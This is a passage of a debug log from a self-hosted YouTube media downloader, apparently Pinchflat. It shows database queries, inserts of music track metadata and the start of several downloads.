s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:20:13.986 [debug] QUERY OK source="media_profiles" db=0.1ms idle=161.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:14.018 [debug] QUERY OK source="media_items" db=31.7ms idle=1.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [44] 22:20:14.018 [debug] QUERY OK source="sources" db=193.2ms idle=2.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:20:14.018 [debug] Current batch of media processed. Will check again in 1000ms 22:20:14.018 [debug] QUERY OK source="media_items" db=0.2ms idle=32.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2015-10-17 23:03:24Z], 5] 22:20:14.166 [debug] QUERY OK source="media_items" db=147.4ms idle=32.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Provided to YouTube by The Orchard Enterprises\n\nRelief · Wolves At The Gate\n\nVxv\n\n℗ 2014 Solid State Records\n℗ 2015 Solid State Records\n\nReleased on: 2014-06-10\n\nAuto-generated by YouTube.", "Relief", "f769c933-8836-4eb0-9371-26cb66b4a9aa", false, "vF9r6CoZgnQ", 233, false, "https://www.youtube.com/watch?v=vF9r6CoZgnQ", 28, "/downloads/ChristianMetal/ChristianMetal/2015-10-17Relief[vF9r6CoZgnQ].NA", false, false, 5, [], 1, ~U[2015-10-17 23:03:24Z], ~U[2026-07-24 02:20:14Z], ~U[2026-07-24 02:20:14Z], "Provided to YouTube by The Orchard Enterprises\n\nRelief · Wolves At The Gate\n\nVxv\n\n℗ 2014 Solid State Records\n℗ 2015 Solid State Records\n\nReleased on: 2014-06-10\n\nAuto-generated by YouTube.", "Relief", "vF9r6CoZgnQ", 233, false, "https://www.youtube.com/watch?v=vF9r6CoZgnQ", "/downloads/ChristianMetal/ChristianMetal/2015-10-17Relief[vF9r6CoZgnQ].NA", false, 5, ~U[2015-10-17 23:03:24Z]] 22:20:14.218 [debug] QUERY OK source="sources" db=678.1ms idle=20.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 22:20:14.218 [debug] QUERY OK source="sources" db=51.4ms idle=148.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:20:14.219 [debug] QUERY OK source="media_profiles" db=0.4ms idle=199.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:14.219 [debug] QUERY OK source="media_items" db=0.8ms queue=0.2ms idle=199.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [4] 22:20:14.219 [debug] QUERY OK source="media_items" db=0.3ms idle=52.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [194] 22:20:14.219 [info] Kicking off download for media item #194 (vF9r6CoZgnQ) 22:20:14.220 [debug] QUERY OK source="media_items" db=1.0ms idle=1.5ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [4, 10, 0] 22:20:14.220 [debug] Replied in 681ms 22:20:14.222 [debug] MOUNT PinchflatWeb.Sources.MediaItemTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "im37iHiAkf4PbM1VPj4sStWC", "media_state" => "downloaded", "source_id" => 4} 22:20:14.463 [debug] QUERY OK source="tasks" db=134.9ms queue=0.1ms idle=108.5ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [195, 194, ~U[2026-07-24 02:20:14Z], ~U[2026-07-24 02:20:14Z]] 22:20:14.463 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Provided to YouTube by The Orchard Enterprises\n\nMeridian · August Burns Red\n\nConstellations (Remixed)\n\n℗ 2019 Solid State Records\n\nReleased on: 2019-06-14\n\nAuto-generated by YouTube.", "duration" => 358, "filename" => "/downloads/ChristianMetal/ChristianMetal/2019-06-13Meridian[KuYc0SyH5hc].NA", "id" => "KuYc0SyH5hc", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=KuYc0SyH5hc", "playlist_index" => 29, "timestamp" => 1560420030, "title" => "Meridian", "upload_date" => "20190613"} 22:20:14.518 [info] {"source":"oban","duration":138561,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:20:14.552 [debug] QUERY OK source="sources" db=33.8ms queue=0.1ms idle=296.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:20:14.552 [debug] QUERY OK source="sources" db=329.8ms idle=2.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 22:20:14.552 [debug] QUERY OK source="sources" db=0.3ms idle=224.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:20:14.552 [debug] QUERY OK source="media_items" db=0.2ms idle=89.0ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [4] 22:20:14.553 [debug] QUERY OK source="media_items" db=0.2ms idle=0.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2019-06-13 10:00:30Z], 5] 22:20:14.553 [debug] QUERY OK source="media_items" db=0.5ms idle=0.6ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [4, 10, 0] 22:20:14.553 [debug] Replied in 331ms 22:20:14.554 [debug] MOUNT PinchflatWeb.Sources.MediaItemTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "im37iHiAkf4PbM1VPj4sStWC", "media_state" => "other", "source_id" => 4} 22:20:14.697 [debug] QUERY OK source="sources" db=79.4ms queue=0.1ms idle=65.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 22:20:14.698 [debug] QUERY OK source="media_items" db=144.4ms queue=0.1ms idle=0.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Provided to YouTube by The Orchard Enterprises\n\nMeridian · August Burns Red\n\nConstellations (Remixed)\n\n℗ 2019 Solid State Records\n\nReleased on: 2019-06-14\n\nAuto-generated by YouTube.", "Meridian", "d686604e-492a-461f-89b6-a85e5c3846db", false, "KuYc0SyH5hc", 358, false, "https://www.youtube.com/watch?v=KuYc0SyH5hc", 29, "/downloads/ChristianMetal/ChristianMetal/2019-06-13Meridian[KuYc0SyH5hc].NA", false, false, 5, [], 3, ~U[2019-06-13 10:00:30Z], ~U[2026-07-24 02:20:14Z], ~U[2026-07-24 02:20:14Z], "Provided to YouTube by The Orchard Enterprises\n\nMeridian · August Burns Red\n\nConstellations (Remixed)\n\n℗ 2019 Solid State Records\n\nReleased on: 2019-06-14\n\nAuto-generated by YouTube.", "Meridian", "KuYc0SyH5hc", 358, false, "https://www.youtube.com/watch?v=KuYc0SyH5hc", "/downloads/ChristianMetal/ChristianMetal/2019-06-13Meridian[KuYc0SyH5hc].NA", false, 5, ~U[2019-06-13 10:00:30Z]] 22:20:14.718 [debug] QUERY OK source="sources" db=20.0ms idle=144.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:20:14.719 [debug] QUERY OK source="media_items" db=20.6ms queue=0.1ms idle=145.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [4] 22:20:14.719 [debug] QUERY OK source="media_profiles" db=0.5ms queue=0.1ms idle=164.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:14.721 [debug] QUERY OK source="media_items" db=1.2ms idle=21.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [195] 22:20:14.721 [info] Kicking off download for media item #195 (KuYc0SyH5hc) 22:20:14.721 [debug] QUERY OK source="media_items" db=2.1ms queue=0.1ms idle=21.3ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [4, 10, 0] 22:20:14.722 [debug] Replied in 167ms 22:20:14.880 [info] GET /sources 22:20:14.880 [debug] Processing with PinchflatWeb.Sources.SourceController.index/2 Parameters: %{} Pipelines: [:browser] 22:20:14.918 [debug] QUERY OK source="settings" db=37.4ms idle=159.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:15.020 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "🎟️ Bilety na najbliższe koncerty Anime Symphony / Tickets for the next Anime Symphony \nhttps://goingapp.pl/wydarzenie/anime-symphony-kameralnie-gdansk/gdansk-lipiec-2026\n\nWspaniałe wykonanie „Treachery” - jednego z najbardziej ikonicznych utworów ze ścieżki dźwiękowej Bleach, skomponowanego przez Shiro Sagisu w aranżacji Krzysztofa Ratajskiego.\nPotężny Chór Pro Musica Mundi prezentuje wyraziste wykonanie w Filharmonii Narodowej, oddając niezapomniany klimat kojarzony z postacią Sōsuke Aizena.\nUtwór wykonany na żywo podczas Anime Symphony 2024 przez Orkiestrę Symfoniczną im. Karola Namysłowskiego w Zamościu - najstarszą polską orkiestrę symfoniczną.\n\n____________\n\nMarvelous performance of “Treachery”, one of the most iconic soundtracks from Bleach, composed by Shiro Sagisu.\nThe powerful Pro Musica Mundi Choir delivers a striking performance at the Polish National Philharmonic, bringing to life the unforgettable atmosphere associated with Sosuke Aizen.\nPerformed live during Anime Symphony 2024 by the Karol Namysłowski Symphony Orchestra in Zamość - the oldest Polish symphony orchestra.\n\n____________\n\n🤝 Partner: Animecraft (https://animecraft.pl/) – kod rabatowy ANI10 na zakupy / discount code ANI10 for your next purchase\n\n🎼 Wykonanie / Performance:\nTadeusz Wicherek – dyrygent / conductor\nOrkiestra Symfoniczna im. Karola Namysłowskiego w Zamościu / Karol Namysłowski Symphony Orchestra https://www.instagram.com/namyslowiacy/\nPro Musica Mundi / Pro Musica Mundi – chór / choir https://www.instagram.com/pro.musicamundi\n\n____________\n\nWWW: https://www.animesymphony.pl/\nInstagram: https://www.instagram.com/animesymphony_koncert/\nFacebook: https://www.facebook.com/animesymphonykoncert/\nTikTok: https://www.tiktok.com/@animesymphony_koncert", "duration" => 206, "filename" => "/downloads/Classics/Classics/2026-04-07Treachery (Bleach) – Live Orchestra | Anime Symphony 2024[3D5lYRLg8JQ].m4a", "id" => "3D5lYRLg8JQ", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=3D5lYRLg8JQ", "playlist_index" => 8, "timestamp" => 1775578488, "title" => "Treachery (Bleach) – Live Orchestra | Anime Symphony 2024", "upload_date" => "20260407"} 22:20:15.120 [debug] QUERY OK source="tasks" db=239.3ms queue=0.3ms idle=160.8ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [196, 195, ~U[2026-07-24 02:20:14Z], ~U[2026-07-24 02:20:14Z]] 22:20:15.120 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Provided to YouTube by The Orchard Enterprises\n\nAncient Waters · Fit For A King\n\nDescendants - Redux\n\n℗ 2013 Solid State Records\n\nReleased on: 2013-11-25\n\nAuto-generated by YouTube.", "duration" => 236, "filename" => "/downloads/ChristianMetal/ChristianMetal/2017-01-26Ancient Waters[xSWL3L9FnQ4].NA", "id" => "xSWL3L9FnQ4", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=xSWL3L9FnQ4", "playlist_index" => 30, "timestamp" => 1485396793, "title" => "Ancient Waters", "upload_date" => "20170126"} 22:20:15.121 [debug] QUERY OK source="sources" db=0.5ms idle=240.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:20:15.122 [debug] QUERY OK source="sources" db=0.5ms idle=203.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:20:15.148 [debug] QUERY OK source="sources" db=127.6ms queue=0.1ms idle=297.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 22:20:15.149 [debug] QUERY OK source="settings" db=230.1ms idle=197.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:15.149 [debug] QUERY OK source="media_items" db=26.1ms idle=2.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE 